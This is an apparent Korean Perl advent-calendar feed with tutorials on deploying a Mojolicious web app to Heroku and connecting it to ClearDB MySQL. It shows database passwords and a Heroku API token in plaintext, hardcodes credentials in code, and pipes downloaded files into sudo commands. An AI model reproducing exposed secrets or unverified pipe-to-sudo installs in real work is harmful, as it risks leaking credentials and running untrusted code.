2016-12-22T00:00:00+09:00keediPerl on Heroku with MySQLhttp://advent.perl.kr/2016/2016-12-21.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p><a href="https://www.heroku.com/home">Heroku</a>는 시작된 클라우드 <a href="https://en.wikipedia.org/wiki/Platform_as_a_service">PaaS(Platform-as-a-Service)</a> 중 하나입니다.
지난 기사인 <a href="http://advent.perl.kr/2016/2016-12-20.html">스무번째 날: Perl on Heroku</a>에서는
Perl과 <a href="http://mojolicious.org/">Mojolicious</a> 기반의 웹 응용을 Heroku에서 사용하는 법을 알아보았습니다.
대부분의 웹 응용은 보통 저장 공간으로 RDBMS든 NoSQL이든 데이터베이스를 사용하죠.
Heroku에 올린 웹 응용 역시 다를 바가 없습니다.
Heroku는 <a href="https://devcenter.heroku.com/articles/heroku-postgresql">공식적으로 PostgreSQL을 지원</a>하지만,
MySQL 역시 써드파티 업체인 <a href="http://w2.cleardb.net/">ClearDB</a>를 통해 지원합니다.
Heroku의 무료 플랜 기준으로 Perl / <a href="http://mojolicious.org/">Mojolicious</a> 기반의
웹 응용으로 MySQL을 사용하는 방법을 살펴보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/DBD::mysql">CPAN의 DBD::mysql 모듈</a></li>
<li><a href="https://metacpan.org/pod/DBIx::Lite">CPAN의 DBIx::Lite 모듈</a></li>
<li><a href="https://metacpan.org/pod/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan \
DBD::mysql \
DBIx::Lite \
Mojolicious
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan \
DBD::mysql \
DBIx::Lite \
Mojolicious
</pre>
<h2 id="cleardb">ClearDB 설정</h2>
<p>지난 기사인 <a href="http://advent.perl.kr/2016/2016-12-20.html">스무번째 날: Perl on Heroku</a>에서 생성한
마지막 상태의 인스턴스와 저장소를 기준으로 진행합니다.
Heroku는 데이터베이스를 비롯해 여러 컴포넌트를 <a href="https://elements.heroku.com/addons">Heroku Add-on</a>이라는 개념으로 제공합니다.
MySQL은 <a href="https://elements.heroku.com/addons/cleardb">ClearDB MySQL Add-on</a>으로 제공하는 것이죠.
Heroku 인스턴스에 이런 애드-온을 추가해서 필요한 기능을 블럭처럼 쌓는 셈입니다.
이제 우리의 인스턴스에 MySQL 애드-온을 추가합니다.</p>
<pre class="brush: bash;">
$ cd ~/workspace/heroku/keedi-seoulpm
$ heroku addons
No add-ons for app keedi-seoulpm.
$ heroku addons:create cleardb:ignite
Creating cleardb:ignite on ⬢ keedi-seoulpm... free
Created cleardb-globular-38972 as CLEARDB_DATABASE_URL
Use heroku addons:docs cleardb to view documentation
$
$ heroku addons
Add-on Plan Price State
──────────────────────────────── ────── ───── ───────
cleardb (cleardb-globular-38972) ignite free created
└─ as CLEARDB_DATABASE
The table above shows add-ons and the attachments to the current app (keedi-seoulpm) or other apps.
$
</pre>
<p>애드-온 추가는 <code>addons:create</code> 명령을 이용합니다.
이 후 따라오는 인자인 <code>cleardb:ignite</code>의 경우 <code>:</code>으로 항목을 구분할 수 있는데,
<code>cleardb</code>의 경우 애드-온의 이름이며, <code>ignite</code>는 해당 애드-온에서 제공하는 무료 플랜의 이름입니다.
즉, 애드-온은 일종의 서비스이며, 이런 서비스는 Heroku가 직접 제공하기도 하고 써드파티를가 제공하기도 합니다.
플랜은 해당 서비스에서 제공하는 여러가지 요금제로 보통 무료부터 시작해서 구간 별 종량제로 요금이 나뉘며,
이름 자체는 제공하는 서비스마다 조금씩 다릅니다.
<code>ClearDB MySQL</code> 애드-온과 <code>Heroku Postgres</code> 애드-온의 요금 정책은 다음과 같습니다.</p>
<pre class="brush: bash;">
$ heroku addons:plans cleardb
slug name price
─────── ────────────── ────── ────────────
default cleardb:ignite Ignite free
cleardb:punch Punch $9.99/month
cleardb:drift Drift $49.99/month
cleardb:scream Scream $99.99/month
$ heroku addons:plans heroku-postgresql
slug name price
─────── ───────────────────────────── ─────────── ───────────
default heroku-postgresql:hobby-dev Hobby Dev free
heroku-postgresql:hobby-basic Hobby Basic $9/month
heroku-postgresql:standard-0 Standard 0 $50/month
heroku-postgresql:premium-0 Premium 0 $200/month
heroku-postgresql:standard-2 Standard 2 $200/month
heroku-postgresql:private-0 Private 0 $300/month
heroku-postgresql:premium-2 Premium 2 $350/month
heroku-postgresql:private-2 Private 2 $600/month
heroku-postgresql:standard-4 Standard 4 $750/month
heroku-postgresql:premium-4 Premium 4 $1200/month
heroku-postgresql:private-4 Private 4 $1500/month
heroku-postgresql:standard-6 Standard 6 $2000/month
heroku-postgresql:premium-6 Premium 6 $3500/month
heroku-postgresql:standard-7 Standard 7 $3500/month
heroku-postgresql:private-6 Private 6 $3600/month
heroku-postgresql:premium-7 Premium 7 $6000/month
heroku-postgresql:private-7 Private 7 $7000/month
</pre>
<p>더 해당 애드-온과 더 자세한 유/무료 플랜은 공식 페이지에서 확인하세요.
ClearDB 애드-온을 추가하고 나면 자동으로 인스턴스의 환경 변수에 <code>CLEARDB_DATABASE_URL</code> 변수가 추가되며,
이 변수에는 MySQL 데이터베이스 서버에 접속하기 위해 필요한 정보가 저장됩니다.</p>
<pre class="brush: bash;">
$ heroku config | grep CLEARDB_DATABASE_URL
CLEARDB_DATABASE_URL: mysql://b71a62cedaed57:8b972fbd@us-cdbr-iron-east-04.cleardb.net/heroku_3977850a05aa764?reconnect=true
$ mysql -u b71a62cedaed57 -h us-cdbr-iron-east-04.cleardb.net -p heroku_3977850a05aa764
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 174910210
Server version: 5.5.46-log MySQL Community Server (GPL)
Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
mysql> quit
Bye
$
</pre>
<p>원격 MySQL 서버에 잘 접속됨을 확인할 수 있습니다.
눈치 채셨겠지만 이 경우 비밀번호는 <code>8b972fbd</code>입니다? :-)
"뭐야! MySQL 서버를 원격으로 접속해?"란 생각이 들 수도 있겠지만,
보안과 같은 복잡한 문제는 믿고 맡긴다는 점이 클라우드 서비스의 장점(아마도...?)이겠죠?
SSL 접속도 지원하므로 관련해서는 <a href="https://www.cleardb.com/developers/ssl_connections">공식 문서</a>를 참조하세요.</p>
<h2>스키마 준비</h2>
<p>간단한 데이터베이스 스키마를 준비합니다.
글을 저장할 수 있는 테이블을 구조는 다음과 같습니다.</p>
<pre class="brush: sql;">
CREATE TABLE `page` (
`id` INT UNSIGNED NOT NULL AUTO_INCREMENT,
`title` VARCHAR(128) DEFAULT NULL,
`content` TEXT DEFAULT NULL,
`create_at` DATETIME DEFAULT NULL,
`update_at` DATETIME DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
</pre>
<p>SQL 파일로 저장한 스키마를 이용해 ClearDB를 초기화합니다.</p>
<pre class="brush: bash;">
$ cat init.sql | mysql -u b71a62cedaed57 -h us-cdbr-iron-east-04.cleardb.net -p heroku_3977850a05aa764
Enter password:
$
</pre>
<h2>의존 모듈 설정</h2>
<p>테스트를 위해 개발 장비에 필요한 모듈을 설치한 것과는 별개로
Heroku 인스턴스에는 모듈을 설치한 적이 없으므로 의존 모듈 설정을 해주어야 합니다.
<code>cpanfile</code>을 다음과 같이 설정합니다.</p>
<pre class="brush: perl;">
requires "DBD::mysql" => "4.041";
requires "DBIx::Lite" => "0.29";
requires "Mojolicious" => "7.14";
</pre>
<h2>웹 응용 구현</h2>
<p>우선 데이터베이스와 웹 응용을 연동해야겠죠.
테스트용으로 만든 간단한 Mojolicious 웹 응용으로 기존 <code>app.pl</code>을 대체합니다.</p>
<pre class="brush: bash;">
$ cd ~/workspace/heroku/keedi-seoulpm
$ wget -q -O- http://advent.perl.kr/2016/2016-12-21-app.pl > app.pl
</pre>
<p><code>app.pl</code> 소스 코드 내의 데이터베이스 접속 부분을 자신의 Heroku 설정에 맞게 적절하게 조정합니다.
편의를 위해 데이터베이스 접속 정보를 코드에 포함했지만
실제로는 설정 파일을 이용하는 것을 추천합니다.</p>
<pre class="brush: perl;">
...
my $database = "heroku_3977850a05aa764";
my $hostname = "us-cdbr-iron-east-04.cleardb.net";
my $port = 3306;
my $user = "b71a62cedaed57";
my $password = "8b972fbd";
...
</pre>
<p>웹 응용은 크게 다음 네 부분으로 구성되어있습니다.</p>
<ul>
<li>페이지 생성</li>
<li>페이지 열람</li>
<li>페이지 삭제</li>
<li>페이지 목록</li>
</ul>
<p>지난 기사인 <a href="http://advent.perl.kr/2016/2016-12-04.html">넷째 날: 진짜 쉬운 위지위그 에디터: summernote</a>를 참고해
<a href="http://getbootstrap.com/">Bootstrap</a> 기반의 <a href="http://summernote.org/">summernote</a> 편집기를 활용한 부분과
꾸미기 위한 CSS를 제외하면 전형적인 웹 응용의 모양새를 가집니다.
로컬에서 테스트를 위해 구동한 모습은 다음과 같습니다.</p>
<p><img src="2016-12-21-1_r.png" alt="로컬에서 구동한 웹 응용" id="" />
<em>그림 1.</em> 로컬에서 구동한 웹 응용 (<a href="2016-12-21-1.png">원본</a>)</p>
<h2 id="heroku">Heroku로 발사!</h2>
<p>여기까지 이상없이 따라왔다면 <code>app.pl</code>과 <code>cpanfile</code>이 변경되었을 것입니다.
우선 지역 저장소에 현재까지의 변경 사항을 저장하도록 하죠.</p>
<pre class="brush: bash;">
$ git st
M app.pl
M cpanfile
$ git add app.pl cpanfile
$ git commit -m "Perl on Heroku with MySQL"
[master 61b11f2] Perl on Heroku with MySQL
2 files changed, 527 insertions(+), 27 deletions(-)
rewrite app.pl (78%)
$
</pre>
<p>이제 Heroku에 배포하는 일만 남았네요.
원격 저장소에 지금까지의 변경 내역을 전송합니다.</p>
<pre class="brush: bash;">
$ git push heroku master
오브젝트 개수 세는 중: 4, 완료.
Delta compression using up to 4 threads.
오브젝트 압축하는 중: 100% (4/4), 완료.
오브젝트 쓰는 중: 100% (4/4), 9.95 KiB | 0 bytes/s, 완료.
Total 4 (delta 0), reused 0 (delta 0)
remote: Compressing source files... done.
remote: Building source:
remote:
remote: -----> Perloku app detected
remote: -----> Installing dependencies
remote: cpanm options: --quiet --notest -l /tmp/build_d9e834d762c5a167d234af37fc2aa973/local
remote: Successfully installed Clone-0.38
remote: Successfully installed Class-Accessor-0.34
remote: Successfully installed Class-Accessor-Chained-0.01
remote: Successfully installed Sub-Uplevel-0.2600
remote: Successfully installed Test-Exception-0.43
remote: Successfully installed Data-Page-2.02
remote: Successfully installed Sub-Identify-0.12
remote: Successfully installed SUPER-1.20141117
remote: Successfully installed Test-MockModule-0.11
remote: Successfully installed DBI-1.636
remote: Successfully installed DBIx-Connector-0.56
remote: Successfully installed YAML-Tiny-1.69
remote: Successfully installed Module-ScanDeps-1.23
remote: Successfully installed File-Remove-1.57
remote: Successfully installed Module-Install-1.17
remote: Successfully installed Test-Warn-0.32
remote: Successfully installed Hash-Merge-0.200
remote: Successfully installed Sub-Quote-2.003001
remote: Successfully installed Sub-Exporter-Progressive-0.001013
remote: Successfully installed Devel-GlobalDestruction-0.14
remote: Successfully installed Class-Method-Modifiers-2.12
remote: Successfully installed Module-Runtime-0.014
remote: Successfully installed Role-Tiny-2.000005
remote: Successfully installed Moo-2.003000
remote: Successfully installed Test-Deep-1.126
remote: Successfully installed MRO-Compat-0.12
remote: Successfully installed SQL-Abstract-1.81
remote: Successfully installed XSLoader-0.24 (upgraded from 0.16)
remote: Successfully installed Exporter-Tiny-0.042
remote: Successfully installed List-MoreUtils-0.416
remote: Successfully installed Dist-CheckConflicts-0.11
remote: Successfully installed Try-Tiny-0.28
remote: Successfully installed Module-Implementation-0.09
remote: Successfully installed Package-Stash-XS-0.28
remote: Successfully installed Package-Stash-0.37
remote: Successfully installed Variable-Magic-0.60
remote: Successfully installed B-Hooks-EndOfScope-0.21
remote: Successfully installed namespace-clean-0.27
remote: Successfully installed Test-Requires-0.10
remote: Successfully installed Test-Fatal-0.014
remote: Successfully installed Params-Validate-1.26
remote: Successfully installed SQL-Abstract-More-1.28
remote: Successfully installed DBIx-Lite-0.29
remote: Successfully installed DBD-mysql-4.041
remote: 44 distributions installed
remote: -----> Installing local::lib
remote: local::lib is up to date. (2.000019)
remote: -----> Discovering process types
remote: Procfile declares types -> (none)
remote: Default types for buildpack -> web
remote:
remote: -----> Compressing...
remote: Done: 3.4M
remote: -----> Launching...
remote: Released v9
remote: https://keedi-seoulpm.herokuapp.com/ deployed to Heroku
remote:
remote: Verifying deploy.... done.
To https://git.heroku.com/keedi-seoulpm.git
cdbb0c8..61b11f2 master -> master
$
</pre>
<p>웹 응용에서 사용하는 데이터베이스 의존 모듈이 자동으로 설치되고,
배포까지 완료되었음을 확인할 수 있습니다.
문제가 없다면 접속해서 로컬에서 구동하던 것과 동일하게
CRUD 웹 응용이 동작함을 확인할 수 있습니다.</p>
<p><img src="2016-12-21-2_r.png" alt="Perl on Heroku with MySQL" id="perlonherokuwithmysql" />
<em>그림 2.</em> Perl on Heroku with MySQL (<a href="2016-12-21-2.png">원본</a>)</p>
<h2>정리하며</h2>
<p>무료 플랜의 경우 용량이라던가, 트래픽 등 부족한 점은 있으나 개인적으로 사용한다면 용인은 가능한 수준입니다.
다만 물리적인 서버 위치로 대한민국을 지정할 수 없는 만큼 네트워크 지연이 큰 점은 치명적입니다.
유료 플랜이 결코 저렴하지는 않지만, 필요한 인력과 인프라가 구성되지 않은
회사 차원이라면, 효율적인 선택일 수도 있을 것 같네요.
Heroku는 물론 대부분의 클라우드 서비스의 사용 방법은 대동소이하므로 이번 기사로 감만 잡는다면
다른 클라우드 서비스에서 Perl 관련 도구를 사용하는 것 역시 크게 어렵지 않을 것입니다. :-)</p>
<p><em>EOT</em></p>
2016-12-21T00:00:00+09:00keediPerl on Herokuhttp://advent.perl.kr/2016/2016-12-20.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p><a href="https://www.heroku.com/home">Heroku</a>는 시작된 클라우드 <a href="https://en.wikipedia.org/wiki/Platform_as_a_service">PaaS(Platform-as-a-Service)</a> 중 하나입니다.
기본적으로 Ruby on Rails 웹 응용을 지원하는 서비스였지만, 현재는 Java와, Node.js,
Scala, Clojure, Python, PHP, Go 등의 언어를 공식적으로 지원하고 있습니다.
하지만 기본적으로 생성하는 인스턴스는 리눅스인 만큼, 공식적으로 지원하지 않는다고 해서
다른 언어나 웹 프레임워크를 사용하는 것이 딱히 불가능하지는 않습니다.
공식 채널을 통해 문의를 할 수 없다던가, 조금 번거로울 뿐이죠. :)
2007년에 시작된 서비스인 만큼 PaaS 서비스가 넘쳐나는 2016년인 지금 특별히 새로울 것은 없습니다만
계속 변화하고 있는 서비스인만큼 공식 CLI 도구라던가, 사용법이 조금은 바뀐 부분이 있는데,
Perl과 <a href="http://mojolicious.org/">Mojolicious</a> 기반의 웹 응용을 Heroku에서 사용하는 법을 간단히 짚고 넘어가보죠.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Mojolicious
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Mojolicious
</pre>
<h2 id="herokucli">Heroku CLI</h2>
<p>당연한 이야기지만 Heroku 계정이 있어야 합니다.
<a href="https://signup.heroku.com/">공식 홈페이지의 회원 가입</a> 양식을 사용해서 무료 계정을 생성합니다.
따로 자신만의 도메인을 연결한다던가 등의 추가적인 작업을 할 예정이 없다면,
신용카드 등록과 같은 부가적인 인증은 필요없습니다.
약간의 제한은 있지만, PaaS에 Perl / Mojolicious 웹 응용을 올리는데에는 별 상관이 없습니다.</p>
<p>계정 생성을 완료했다면 우선 <a href="https://devcenter.heroku.com/articles/heroku-cli">Heroku CLI 응용</a>을 시스템에 설치해야 합니다.
Heroku 역시 여느 PaaS 서비스와 마찬가지로 웹을 통해 필요한 모든 작업을 진행할 수 있지만,
펄 몽거스 여러분들은 브라우저보단 터미널에서 편안함을 느끼시는 분들이니
명령줄 도구를 이용해서 이후 작업을 수행합니다.
회원 가입도 명령줄에서 진행이 가능했으면 좋았을 텐데 이건 조금 아쉽군요. :-P
우부툰를 포함한 데비안 계열의 리눅스의 경우 Heroku CLI를 설치하기 위한 저장소를 등록해야 합니다.</p>
<pre class="brush: bash;">
$ sudo add-apt-repository "deb https://cli-assets.heroku.com/branches/stable/apt ./"
$ curl -L https://cli-assets.heroku.com/apt/release.key | sudo apt-key add -
$ sudo apt-get update
$ sudo apt-get install heroku
</pre>
<p>저장소 추가 없이 설치할 경우는 직접 타르볼을 다운로드 받은 후 설치해야 합니다.
설치 장소는 딱히 정해진 곳이 없으므로 입맛에 맞게 설치하면 됩니다.
당연하지만 이렇게 수동으로 설치할 경우 해당 바이너리가 가장 최신 파일인지 여부를 점검하고,
새로운 버전을 설치하는 등의 관리는 직접해야 합니다.
64비트 리눅스의 경우 다음과 같은 명령을 실행해서 설치합니다.</p>
<pre class="brush: bash;">
$ wget -q -O- https://cli-assets.heroku.com/branches/stable/heroku-linux-amd64.tar.gz | sudo tar xvzf - -C /usr/local/lib
$ sudo ln -s /usr/local/lib/heroku/bin/heroku /usr/local/bin/heroku
</pre>
<p>설치가 완료되면 명령줄에서 <code>heroku</code> 명령을 사용할 수 있습니다.
이후 명령줄에서 수행할 모든 작업에는 로그인이 우선적으로 필요합니다.
앞서 생성한 Heroku 계정 정보를 이용해 로그인합니다.</p>
<pre class="brush: bash;">
$ heroku login
Enter your Heroku credentials.
Email: myid@email.com
Password (typing will be hidden):
Logged in as myid@email.com
$
</pre>
<p>로그인 정보는 <code>~/.netrc</code> 파일에 저장됩니다.
따라서 해당 파일의 접근 권한을 잘 지정해 악용되지 않도록 조심합니다.
Heroku 로그인 이후 <code>~/.netrc</code> 파일에 저장되는 내용은 다음과 같습니다.</p>
<pre class="brush: bash;">
$ cat ~/.netrc
machine api.heroku.com
login myid@email.com
password 7ff9f7fe-efb9-4998-9a80-4cc63e2586d3
machine git.heroku.com
login myid@email.com
password 7ff9f7fe-efb9-4998-9a80-4cc63e2586d3
$ ls -l ~/.netrc
-rw------- 1 askdna askdna 194 1월 6 17:41 /home/askdna/.netrc
$
</pre>
<h2>인스턴스 생성</h2>
<p>로그인을 완료했으면 Heroku 인스턴스를 생성합니다.
기본적으로 git을 이용해서 인스턴스를 관리하므로 생성할 인스턴스를 위한 저장소를 만듭니다.</p>
<pre class="brush: bash;">
$ mkdir -p ~/workspace/heroku/keedi-seoulpm
$ cd ~/workspace/heroku/keedi-seoulpm
$ git init
/home/askdna/workspace/heroku/keedi-seoulpm/.git/ 안의 빈 깃 저장소를 다시 초기화했습니다
$
</pre>
<p>이제 <code>app:create</code> 명령을 이용해 인스턴스를 생성합니다.
<code>keedi-seoulpm</code> 이라는 인스턴스를 <code>cedar-14</code> 스택으로 생성하는 명령은 다음과 같습니다.</p>
<pre class="brush: bash;">
$ heroku apps:create --stack cedar-14 keedi-seoulpm
Creating ⬢ keedi-seoulpm... done, stack is cedar-14
https://keedi-seoulpm.herokuapp.com/ | https://git.heroku.com/keedi-seoulpm.git
$
</pre>
<p><a href="https://devcenter.heroku.com/articles/stack">Heroku에서 스택</a>은 인스턴스를 구동하는 운영체제를 의미하며
현재 Ubuntu 10.04 기반의 <code>cedar</code>와 Ubuntu 14.04 기반의 <code>cedar-14</code> 두 가지가 있는데,
<code>cedar</code>은 지원이 종료되었으므로 현실적으로 <code>cedar-14</code>만 사용이 가능합니다.
이렇게 인스턴스를 생성하는 중에 자동으로 git 저장소의 원격 저장소를 설정해줍니다.</p>
<pre class="brush: bash;">
$ git remote -v
heroku https://git.heroku.com/keedi-seoulpm.git (fetch)
heroku https://git.heroku.com/keedi-seoulpm.git (push)
$
</pre>
<p>인스턴스의 상태를 살펴보죠.</p>
<pre class="brush: bash;">
$ heroku apps
=== keedi.k@gmail.com Apps
keedi-seoulpm
$ heroku apps:info --app keedi-seoulpm
=== keedi-seoulpm
Dynos:
Git URL: https://git.heroku.com/keedi-seoulpm.git
Owner: myid@email.com
Region: us
Repo Size: 0 B
Slug Size: 0 B
Stack: cedar-14
Web URL: https://keedi-seoulpm.herokuapp.com/
$
</pre>
<p>기본적으로 생성한 인스턴스 이름을 이용해 <code><name>.herokuapp.com</code>이라는 도메인으로 연결됨을 확인할 수 있습니다.
따로 웹 응용을 띄운 적은 없지만 브라우저로 접속하면
제대로 인스턴스가 생성되었음을 확인할 수 있는 문서를 볼 수 있습니다.</p>
<p><img src="2016-12-20-1_r.png" alt="Welcome to Heroku" id="welcometoheroku" />
<em>그림 1.</em> Welcome to Heroku (<a href="2016-12-20-1.png">원본</a>)</p>
<h2 id="perlonheroku">Perl on Heroku!!</h2>
<p><code>cedar-14</code> 스택으로 생성한 우리의 인스턴스는 Ubuntu 14.04 리눅스입니다.
다음 작업을 진행하기 전에 장치의 정보를 확인해두죠.
인스턴스에 원격의 명령을 보내려면 <code>run</code> 명령을 사용합니다.</p>
<pre class="brush: bash;">
$ heroku run --app keedi-seoulpm 'lsb_release -a'
Running lsb_release -a on ⬢ keedi-seoulpm... up, run.4021 (Free)
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
$ heroku run --app keedi-seoulpm 'uname -a'
Running uname -a on ⬢ keedi-seoulpm... up, run.8674 (Free)
Linux 16734b13-5512-494e-99b9-994b63325fdc 3.13.0-105-generic #152-Ubuntu SMP Fri Dec 2 15:37:11 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
$
</pre>
<p>Ubuntu 14.04.5 LTS 리눅스이면서 커널은 3.13.0, 64비트 환경임을 확인할 수 있습니다.
당연히 여느 리눅스와 마찬가지로 Perl은 기본으로 설치되어 있을 것입니다.
역시 Perl의 정보도 확인해둘 필요가 있겠죠? :)</p>
<pre class="brush: bash;">
$ heroku run --app keedi-seoulpm 'perl --version'
Running perl --version on ⬢ keedi-seoulpm... up, run.6668 (Free)
This is perl 5, version 18, subversion 2 (v5.18.2) built for x86_64-linux-gnu-thread-multi
(with 44 registered patches, see perl -V for more detail)
Copyright 1987-2013, Larry Wall
Perl may be copied only under the terms of either the Artistic License or the
GNU General Public License, which may be found in the Perl 5 source kit.
Complete documentation for Perl, including FAQ lists, should be found on
this system using "man perl" or "perldoc perl". If you have access to the
Internet, point your browser at http://www.perl.org/, the Perl Home Page.
$
</pre>
<p>Perl 버전은 5.18.2군요. 가장 최신의 Perl 버전이 5.24.0이니 조금 아쉬운 면은 없지 않으나
큰 수고를 들이지 않고 Perl의 최신 기능을 사용하거나, 웹 응용을 만드는데 부족함은 없어보입니다.</p>
<p>자, 이제 가장 간단한 기본 Mojolicious 웹 응용을 Heroku 위에서 돌려보죠.
가장 먼저 Heroku는 <a href="https://devcenter.heroku.com/articles/buildpacks">빌드팩(buildpack)</a>이라는 시스템을 사용하는데,
공식 지원하는 언어의 경우 Heroku가 공식 빌드팩을 제공합니다.
Perl의 경우 기본 제공이 아니므로 직접 빌드팩을 만들거나,
사람들이 만들어서 공개한 빌드팩을 사용하면 됩니다.
이미 펄 몽거들이 만들어놓은 빌드팩이 많으나 우선은 Mojolicious를
구동할 수 있도록 기사용으로 간단히 수정한 빌드팩으로 설정합니다.</p>
<pre class="brush: bash;">
$ heroku buildpacks:add https://github.com/keedi/heroku-buildpack-perl.git#mojolicious --app keedi-seoulpm
Buildpack added. Next release on keedi-seoulpm will use https://github.com/keedi/heroku-buildpack-perl.git#mojolicious.
Run git push heroku master to create a new release using this buildpack.
$
</pre>
<p>우선 아무것도 첨가하지 않은 Mojolicious 웹 응용 파일 <code>app.pl</code>을 생성합니다.</p>
<pre class="brush: bash;">
$ mojo generate lite_app app.pl
[exist] /home/askdna/workspace/heroku/keedi-seoulpm
[write] /home/askdna/workspace/heroku/keedi-seoulpm/app.pl
[chmod] /home/askdna/workspace/heroku/keedi-seoulpm/app.pl 744
$
</pre>
<p>당연히 우리의 장비에는 <code>Mojolicious</code> 모듈을 설치했으나,
새로 생성한 인스턴스에는 <code>Mojolicious</code> 모듈이 없겠죠.
앞서 지정한 빌드팩은 <code>cpanfile</code>을 지원하므로
일일이 설치하는 수고를 덜기위해 <code>cpanfile</code>을 이용해 의존성을 정의합니다.</p>
<pre class="brush: bash;">
$ echo 'requires "Mojolicious" => "7.14";' > cpanfile
$ cat cpanfile
requires "Mojolicious" => "7.14";
$
</pre>
<p>마지막으로 지정한 빌드팩은 실행 가능한 <code>Perloku</code>라는 파일을
프로젝트 루트 디렉터리에 두었다는 가정하에 동작합니다.
따라서 <code>Perloku</code> 파일도 생성합니다.</p>
<pre class="brush: bash;">
$ echo -e '#!/bin/sh\n./app.pl daemon --listen http://*:$PORT' > Perloku
$ chmod 755 Perloku
$ cat Perloku
#!/bin/sh
./app.pl daemon --listen http://*:$PORT
$
</pre>
<p>이제 생성한 세 파일을 로컬 git 저장소에 커밋합니다.</p>
<pre class="brush: bash;">
$ git add .
$ git commit -m "Welcome to Heroku"
[master 8fb018e] Welcome to Heroku
Date: Tue Jan 10 16:15:40 2017 +0900
3 files changed, 30 insertions(+)
create mode 100755 Perloku
create mode 100755 app.pl
create mode 100644 cpanfile
$
</pre>
<p>필요한 모든 준비가 끝났습니다.
이제 Heroku의 원격 저장소로 쏴주는 일만 남았네요.</p>
<pre class="brush: bash;">
$ git push heroku master
오브젝트 개수 세는 중: 5, 완료.
Delta compression using up to 4 threads.
오브젝트 압축하는 중: 100% (4/4), 완료.
오브젝트 쓰는 중: 100% (5/5), 741 bytes | 0 bytes/s, 완료.
Total 5 (delta 0), reused 0 (delta 0)
remote: Compressing source files... done.
remote: Building source:
remote:
remote: -----> Perloku app detected
remote: -----> Bootstrapping cpanm
remote: Successfully installed App-cpanminus-1.7042
remote: 1 distribution installed
remote: -----> Installing dependencies
remote: cpanm options: --quiet --notest -l /tmp/build_1941cc7e4730191aaf1b69eca4534e68/local
remote: Successfully installed IO-Socket-IP-0.38
remote: Successfully installed Mojolicious-7.14
remote: 2 distributions installed
remote: -----> Installing local::lib
remote: Successfully installed ExtUtils-MakeMaker-7.24 (upgraded from 6.66)
remote: Successfully installed local-lib-2.000019
remote: 2 distributions installed
remote: -----> Discovering process types
remote: Procfile declares types -> (none)
remote: Default types for buildpack -> web
remote:
remote: -----> Compressing...
remote: Done: 1.4M
remote: -----> Launching...
remote: Released v4
remote: https://keedi-seoulpm.herokuapp.com/ deployed to Heroku
remote:
remote: Verifying deploy... done.
To https://git.heroku.com/keedi-seoulpm.git
* [new branch] master -> master
$
</pre>
<p><code>git push</code> 동작과 더불어 원격에서 빌드팩이 정의한 <code>compile</code>, <code>detect</code>, <code>release</code> 등의 작업이 수행됩니다.
로그 상으로 특별히 문제가 없다면 자동으로 지정된 도메인에 Mojolicious 웹 응용이 구동됩니다.</p>
<p><img src="2016-12-20-2_r.png" alt="Perl on Heroku" id="perlonheroku" />
<em>그림 2.</em> Perl on Heroku (<a href="2016-12-20-2.png">원본</a>)</p>
<h2>정리하며</h2>
<p>클라우드 환경이 화두가 되던 시절을 지나 바야흐로 PaaS를 비롯해 IaaS, SaaS 등
수 많은 가상 환경 기반의 서비스가 당연하단 듯이 사용되는 요즘입니다.
Heroku는 이런 여러가지 서비스 중 클라우드 PaaS로 제법 널리 사용되고 있습니다.
비록 수익성의 문제 때문인지 무료로 제공되는 계정의 사용 제한이 예전보다 빡빡해져서
풀타임 웹서비스를 제공하는 것은 현실적으로 무리가 있긴 하지만,
간단히 테스트 용이라던가, 개인 홈페이지 정도의 웹 응용을 제작하고 올려서 확인하는 용도로는 쓸만하답니다.
자, 다들 지금 당장 클라우드 플랫폼에 여러분의 Perl 기반 웹 응용을 올려보세요! ;-)</p>
<p><em>EOT</em></p>
2016-12-20T00:00:00+09:00keedi내가 언제 어디 쯤 있었더라?http://advent.perl.kr/2016/2016-12-19.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/keedi">@keedi</a> - Seoul.pm 리더, Perl덕후,
<a href="http://www.yes24.com/24/goods/4433208">거침없이 배우는 펄</a>의 공동 역자, keedi.k <em>at</em> gmail.com</p>
<h2>시작하며</h2>
<p>자전거를 즐겨 타거나, 달리기를 즐겨 하는 사람들의 경우 GPS 트래커를 이용해
자신이 움직이는 궤적을 기록하는 행위를 즐기곤합니다.
